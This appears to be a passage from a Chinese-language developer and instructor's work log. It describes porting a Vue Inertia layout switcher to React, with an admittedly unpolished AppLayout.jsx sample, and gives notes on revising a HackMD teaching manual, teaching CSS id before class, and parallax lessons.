來建置React專案,然後嘗試React在原有Vue專案架構下功能該如何實現原有功能,但是在Layouts中實現設置AppLayout.jsx時,卻遭遇到了問題,主要是因為沒有compute()以及在usePage()使用方式不同,後來搜尋一些資料並配合ChatGPT後,終於修改成功,當讀取前後端網頁時,也能夠正確的使用所屬的FrontLayout.js或BackendLayout.js...,但是還未進一步整理,也無法判斷寫法是法恰當正確,後來便接到通知要到逢甲授課,所以便又擱置了下來。 ```jsx= // 全域模板 import FrontendLayout from '@/Layouts/FrontendLayout.jsx'; import BackendLayout from '@/Layouts/BackendLayout.jsx'; import GuestLayout from '@/Layouts/GuestLayout.jsx'; import { usePage } from '@inertiajs/react'; import React, { useState, useEffect } from 'react'; function useLayoutPosition() { // alert(); const [component, setComponent] = useState(''); useEffect(() => { // 在这里获取或计算component的值,这里使用一个示例字符串 const componentName = 'Frontend'; // 替换为您的实际逻辑 setComponent(componentName); }, []); const fileName = [ { code: 'Frontend', com: FrontendLayout }, { code: 'Admin', com: BackendLayout }, { code: 'Auth', com: GuestLayout }, ]; const position = fileName.find(({ code }) => component.includes(code)); return position ? position.code : 'Auth'; } function AppLayout(props) { const layoutPosition = usePage()?.component?.split('/')[0]; let componentToRender = ''; switch (layoutPosition) { case 'Frontend': componentToRender = <FrontendLayout nowPage={props}/>; break; case 'Admin': componentToRender = <BackendLayout nowPage={props}/>; break; case 'Auth': componentToRender = <GuestLayout nowPage={props} />; break; // 添加其他可能的情况 default: componentToRender = <GuestLayout nowPage={props} />; } return ( <div> <section id="app-layout"> <div>AAAAAA</div> <div>componentToRender: {componentToRender} </div </section> {/* <AlertSwitchModal /> */} </div> ); } export default function App(props) { return ( <div> <h1>My App</h1> <AppLayout props = { props } /> </div> ); } ``` - **review授課內容及繼續編寫修正手冊** [手冊](https://hackmd.io/NxUal6XgRPmHG_uIxVJfbw?both) 由於之前詹大在我於中興新村授課時曾經是否我們該準備個授課手冊,於是我便開始嘗試編寫授課內容,但是只有編寫開始前幾日的授課內容,所以趁這次再繼續編寫及修正HackMD上的授課手冊,然後也思考怎麼寫這個手冊好,當然進度也不是很非常多。 - **授課方向調整** 修正授課內容,盡量朝操作性的方面詳細解說,比較屬於理論性質的則先略過或概述;早期授課時會在一開始的時候將id與class放在一起教授,因為一次兩種,寫css要考慮比較端,感覺學員比較不易學習,後來幾次調整了方向,都先以id來教授,感覺學員比較容易吸收,教學進度也比較快! - **Parallax授課內容以及id轉入class的教學進入點** 由於以往課程教授parallax,是直接以詹大的版本 **[導覽列(超連接)+Parallax]** 的版本,因為我在學習過程中感覺學完會有朦朧不知重點的感覺,所以我在授課過程中,是一開始教授二種parallax版本(如果連後來套件應用,便是共三次),一開始是以 **[W3CSCHOOL的Parallax](https://www.w3schools.com/howto/howto_css_parallax.asp)** 來授課,覺得這樣在學習的目標比較明確的是集中在parallax的焦點上,但是程式碼並非使用W3CSCHOOL的,而是完全自己寫,也就是看著W3CSCHOOL的網頁,然後自己寫出一模一樣的網頁。然後在此時,可以使用id群組選擇器,來建立相同CSS可以重複使用的概念,進而再修正CSS成為class的教學,這樣學生可以比較完整無縫由id進入到class,學習與吸收程度也比較大。接著才進入詹大 **[導覽列(超連接)+Parallax]** 的版本,我稱為 **Parallax進階版**。 - **body高度錯誤也不易發現,即使加了背景顏色,特別是在使用calc時更不易注意到發生有錯誤** - ```html= <head> <style> body { height: 100px; /* 簡單舉例 其實高度是錯誤的 可是卻不易發覺 */ background-color: red; } #box { width: 500px; height: 500px; background-color: blue; } </style> </head> <body> <div id="box"></div> </body> ```